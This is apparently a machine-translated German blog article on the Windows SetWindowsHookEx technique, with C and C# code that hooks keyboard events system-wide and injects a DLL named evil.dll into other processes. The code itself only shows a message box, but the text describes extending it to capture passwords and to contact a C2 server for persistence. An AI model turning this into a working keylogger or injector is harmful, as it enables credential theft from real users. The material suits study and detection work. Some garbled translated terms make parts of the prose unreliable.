Unsere Haken in die Fenster setzen

Wir sind wieder da mit einem weiteren Artikel über gängige Malware-Techniken. Diesmal sprechen wir über das Setzen von Windows-Hooks. Dabei handelt es sich um eine einfache Technik, die dazu verwendet werden kann, Tastatureingaben aufzuzeichnen oder Code in entfernte Prozesse einzuschleusen. Wir verwenden das Tool SetWindowsHookEx um eine Funktion zu speichern, die jedes Mal aufgerufen wird, wenn ein Ereignis ausgelöst wird.

Wir werden diese Methode in C und C# demonstrieren, wie wir es in den vorherigen Beiträgen getan haben.

1.1 Wie funktioniert das?

Dieser Angriff funktioniert mithilfe des Betriebssystems Windows SetWindowsHookEx . Mit dieser Funktion kann der Programmierer Windows anweisen, eine angegebene Hakenprozedur in eine Hakenkette einzuhängen. Ein Beispiel wäre das Anhängen der Prozedur WH_KEYBOARD um einen Keylogger zu erstellen.

Jedes Mal, wenn eine Taste gedrückt oder losgelassen wird, wird eine Nachricht in eine Liste oder eine Kette von Nachrichten gestellt, die als Klammerkette bekannt ist. Jedes Glied der Kette verarbeitet die Nachricht und leitet sie an das nächste Glied weiter. Die Abhörfunktion kann dann die Tastenanschläge im Speicher oder auf der Festplatte speichern oder sie an einen C2-Server senden.

Die Einstellungen der Funktion SetWindowsHookEx werden im Folgenden dargestellt.

HHOOK SetWindowsHookExA(
  [in] int idHook,
  [in] HOOKPROC lpfn,
  [in] HINSTANCE hmod,
  [in] DWORD dwThreadId
);
  • idHook ist der Typ des hinzuzufügenden Hakens. Es gibt eine Liste von 14 verschiedene Arten von Hakenobwohl einige davon in neueren Fenstern deprecated sind. Im Rahmen unserer Studie werden wir uns auf die WH_KEYBOARD Art der Klammer. Dieser wird unserer anwendungsdefinierten Funktion jedes Mal melden, wenn ein Tastaturereignis ausgelöst wird.
  • lpfn ist ein Zeiger auf die von der Anwendung definierte Funktion, die aufgerufen wird, wenn das Ereignis ausgelöst wird. Diese Funktion muss die folgenden Parameter enthalten: nCode, wParamund lParam.
  • hmod ist ein Zeiger auf die Bibliothek, die die von der Anwendung definierte Funktion enthält. In unserem Fall wird es sich um eine bösartige DLL handeln, die auf das Zielsystem geladen wird. Wir verwenden einen offensichtlichen Namen namens evil.dll.
  • dwThreadID ist die Kennung des Threads, mit dem der Hook verknüpft werden soll. Diese Einstellung mit dem Wert von 0 (null)auf Desktops, fügt diesen Haken allen Threads hinzu, die auf dem Desktop ausgeführt werden, nicht nur dem aktuellen Thread.

Sobald der Haken zum Hakenkettewird die registrierte DLL in jeden Prozess geladen, der das Ereignis dieses Hakens auslöst. Somit wird jeder Prozess, auf dem eine Taste gedrückt wird, unseren Schadcode ausführen. Das folgende Bild zeigt einen X64dbg-Haltepunkt, der gesetzt wird, wenn eine neue DLL geladen wird. Der Debugger wurde an Microsoft Notepad.exe angehängt, nachdem der bösartige Prozess gestartet wurde. Es wurde überprüft, ob der Haltepunkt evil.dll wurde nicht in den Speicherplatz von Notepad geladen. Zweitens führte die Eingabe eines einzelnen Zeichens in der Anwendung Notepad dazu, dass der Fehler "evil dll" angezeigt wurde. evil.dll in diesen Speicherplatz zu laden und auszuführen.

Abbildung 1 - Notepad Laden von evil.dll

1.2 Code-Demonstration in C und C#

Wir beginnen mit einem Beispiel in C. Dieses Beispiel ist sehr klein und an sich gutartig. Das Beispiel beginnt damit, dass eine Bibliothek in den Speicher geladen wird. Anschließend muss die Adresse einer ihrer Funktionen ermittelt werden. Die Adressen der Bibliothek und der Funktion werden dann in der Funktion SetWindowsHookEx Aufruf der Funktion. Die letzten Zeilen des Beispiels verhindern, dass das Programm beendet wird, bis wir fertig sind. Sobald das Programm beendet ist, wird die von uns hinzugefügte Klammer wieder entfernt.

 04 int main( int argc, char* argv[] )
 05 {
 06 HMODULE library = LoadLibrary("evil.dll");
 07 HOOKPROC hookProc = (HOOKPROC)GetProcAddress(library, "evil_func");
 08 HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, hookProc, library, 0);
 09 char option;
 10 printf("Enter 'q' to exit\");
 11 do
 12 {
 13 option = getchar ();
 14 }
 15 while (option != 'q');
 16 }
  • Zeile 6: Lädt die angeforderte Bibliothek in den aktuellen Speicherplatz und gibt ihre Adresse zurück.
  • Zeile 7: Suche in der geladenen Bibliothek nach einer Funktion mit dem Namen evil_func. Sobald er gefunden wurde, gibt er seine Speicheradresse zurück
  • Zeile 8: Fügt einen Haken an den Kette_Haken für Tastaturen, die die Zeichenfolge SetWindowsHookEx Funktion.
  • Zeilen 10-15: Hält das Programm geöffnet, bis der Benutzer das Zeichen q. Dies ist notwendig, denn wenn das Programm endet, wird der hinzugefügte Haken wieder entfernt.

Als Nächstes sprechen wir über die DLL selbst. Dieses Beispiel ist in C geschrieben, könnte aber auch in C# geschrieben werden. Das Beispiel der teuflischen DLL enthält zwei Funktionen : DLLMain und evil_func. DLLMain wird verwendet, wenn die Bibliothek zum ersten Mal aufgerufen wird. Die evil_func wird verwendet, um unsere schlimmsten Aufgaben zu erledigen. In diesem Fall ist die Funktion evil_func ist so programmiert, dass er auf Tastenanschläge hört, bis er die Zeichenfolge STARTund zeigt dann eine Nachricht für den Benutzer an. Das ist ziemlich harmlos, könnte aber dennoch zum Aufzeichnen von Tastatureingaben verwendet werden, da die Funktion bei jedem Tastendruck mindestens einmal aufgerufen wird. Andere Verwendungszwecke könnten einen Persistenzmechanismus beinhalten, der erst ausgelöst wird, wenn eine bestimmte Tastenfolge getippt wurde. Angenommen, ein Angreifer kennt die Struktur des Benutzernamens des Ziels und möchte die Passwörter an sich reißen. Er könnte auf " @TRUSTEDSEC.COM", wenn die Benutzernamen auch E-Mail-Adressen beinhalten. Diese Methode könnte auch als Persistenzmethode verwendet werden, bei der die Malware darauf wartet, dass eine bestimmte Tastenfolge ausgelöst wird, und sich dann mit einem C2 verbindet, um das Hauptkommunikationspaket herunterzuladen.

04 char lastKey = 0;
 05 char str[6];
 06 int str_len = 0;
 07
 08 __declspec(dllexport) LRESULT CALLBACK evil_func( int nCode, WPARAM wParam, LPARAM lParam ).
 09 {
 10 char l_str[200];
 11 if (lastKey == (char) wParam) goto END;
 12 lastKey = (char)wParam;
 13 if (str_len < 5)
 14 {
 15 str[str_len] = lastKey;
 16 str_len += 1;
 17 } else
 18 {
 19 strncpy(str, str+1,4);
 20 str[str_len-1] = lastKey;
 21 }
 22 if (strncmp(str, "START", 5) == 0)
 23 {
 24 sprintf(l_str, "Malware is running now, str (%s)", str );
 25 int msgboxID = MessageBox( NULL, l_str, "Are you sure?", MB_OKCANCEL);
 26 }
 27 END:
 28 return CallNextHookEx( NULL, nCode, wParam, lParam );
 29 }
 30
 31 bool __stdcall DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
 32 {
 33 switch( dwReason )
 34 {
 35 case DLL_PROCESS_ATTACH:
 36 memset(str,0,6);
 37 break;
 38 }
 39 return TRUE;
 40 }
  • Zeilen 4-6: Einrichten von globalen Variablen, die von Funktionen bei jedem Aufruf verwendet werden, um den Überblick über vorherige Eingaben zu behalten.
  • Zeile 8: Prototyp der Funktion. Ncode ist der Code, den der Haken zur Verarbeitung der Nachricht verwendet. Gibt an, was die nächsten Parameter enthalten werden. wParam ist der Code für die gedrückte Taste. Der Code lParam enthält die Flags der Nachricht. Sie umfassen Elemente wie die Anzahl der Wiederholungen, den Scan-Code usw.
  • Zeile 10: Erstellt einen Speicherplatz auf dem Stapel, um eine Nachricht in Form einer Zeichenkette zu speichern.
  • Zeile 11: Vergleicht die neue Taste mit der letzten. Dies wird verwendet, um Doppelunterwerfungen, Tastendrücke und losgelassene Tasten herauszufiltern. Wenn es das Gleiche ist, tut er nichts und gibt zurück
  • Zeile 12: Speichert die aktuelle Taste in der letzten globalen Taste
  • Zeilen 13-21: Überprüft die Länge des globalen Stringpuffers. Wenn er weniger als 5 Zeichen enthält, fügen Sie das neue Zeichen hinzu. Wenn er mehr als 5 Zeichen enthält, verschiebe die Zeichen um eine Einheit nach links und füge das neue Zeichen am Ende hinzu.
  • Zeilen 22-26: Überprüfen Sie, ob der globale Stringpuffer das Wort START. Wenn ja, erzeugen Sie eine Nachrichtenbox. Ist dies nicht der Fall, lassen Sie die Finger davon.
  • Zeilen 27-28: Bereinige die Funktion, indem du die folgende Funktion in der Tastatur aufrufst Hakenkette und dann die Funktion verlassen.
  • Zeilen 31-40: Dies ist die Hauptfunktion der DLL, die beim ersten Laden der Bibliothek verwendet wird. In diesem Fall verwenden wir sie nur, um den globalen String auf null zu setzen.

Das Beispiel C# und die Version C sind sehr ähnlich, außer dass wir die Aufrufe der Windows-API in als unsicher deklarierte Klassen einwickeln und eine Wrapping-Funktion verwenden müssen, um die verwendeten Windows-APIs zu deklarieren.

 07 namespace dll_sethook
 08 {
 09 unsafe class Program
 10 {
 11 static void Main(string[] args)
 12 {
 13 IntPtr libAddr = Win32.LoadLibrary("evil.dll");
 14 IntPtr evilAddr = Win32.GetProcAddress(libAddr, "evil_func");
 15
 16 IntPtr hook = Win32.SetWindowsHookEx(Win32.HookType.WH_KEYBOARD, evilAddr, libAddr, 0);
 17
 18 Console.WriteLine("Press 'q' to exit");
 19 while (Console.ReadKey().Key != ConsoleKey.Q) {}
 20 }
 21 }
 22 }
  • Zeile 9: Teilt C# mit, dass die gesamte Klasse "unsafe" ist und Funktionen und Speicher außerhalb der Standardnutzung von C# verwenden wird.
  • Zeile 13: Verwendung einer Win32-Helferklasse zum Laden der Definition von LoadLibrary um die Bibliothek zu laden evil.dll im Speicherbereich des Programms und gibt die Speicheradresse der geladenen Bibliothek zurück.
  • Zeile 14: Wiederverwendung der Hilfeklasse für den Zugriff auf das Element GetProcAddress um die Adresse der Funktion des evil_func in der geladenen Bibliothek.
  • Zeile 16: Fügt dem Element einen Haken hinzu Kette_Haken für Tastaturen, die die Zeichenfolge SetWindowsHookEx Funktion.
  • Zeilen 18-19: Das Programm bleibt geöffnet, bis der Benutzer das Zeichen q. Dies ist notwendig, denn wenn das Programm endet, wird der hinzugefügte Haken wieder entfernt.

1.3 Umkehrung des Codes

Der zuvor besprochene C-Code wurde mithilfe von MinGW in eine ausführbare 64-Bit-Windows-Datei kompiliert und anschließend mithilfe von Ghidra disassembliert und dekompiliert. Wie Sie unten sehen können, ist der von Ghidra erzeugte Quellcode dem Original sehr ähnlich.

Abbildung 2 - Von Ghidra dekompilierter C-Code

Mit dem Tool lassen sich die meisten C#-Codes einfach umkehren, dnSpy. Es gibt Methoden, die .exe-Datei zu verstecken oder zu korrumpieren, so dass dnSpy sie nicht dekompilieren kann, aber meistens gehen die Angreifer nicht so weit.

Um die ausführbare Datei in dnSpy zu laden, ziehen Sie sie einfach per Drag & Drop in den linken Fensterbereich. Nach dem Laden liefert der Bereich eine Baumliste der Komponenten der .exe-Datei.

Das folgende Bild ist die Zerlegung des Beispielhakens C#, wie er in dnSpy erscheint. Auch hier ist sie dem Original sehr ähnlich.

Abbildung 3 - Von DnSpy erzeugter Quellcode für die Hauptfunktion
Abbildung 4 - Von DnSpy erzeugter Quellcode für den Aufruf der API-Funktion

1.4 Schlussfolgerung

Die Verwendung des Tools SetWindowsHookEx ist eine lustige Art, den Keystroke-Logger zu veranschaulichen, denn wenn der Haken installiert ist, überwacht er alle Ereignisse, die mit dem Tastenanschlag zusammenhängen, und nicht nur die des ursprünglichen Prozesses. Diese Funktion kann auch verwendet werden, um bösartige DLLs in entfernte Prozesse einzuschleusen, allerdings ist sie auf Prozesse beschränkt, die dem aktuellen Benutzer gehören. In der Vergangenheit wurde diese Injektionsmethode von mehreren Sicherheitsprodukten entdeckt und muss vor der Verwendung in einer Client-Umgebung im Labor getestet werden.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert